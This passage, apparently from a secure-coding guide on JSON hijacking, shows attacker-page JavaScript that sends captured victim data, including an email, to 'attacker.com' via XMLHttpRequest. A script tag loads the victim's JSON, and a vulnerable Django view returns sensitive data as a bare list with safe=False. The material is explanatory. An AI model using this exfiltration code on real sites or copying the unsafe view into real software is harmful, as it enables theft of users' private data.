objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response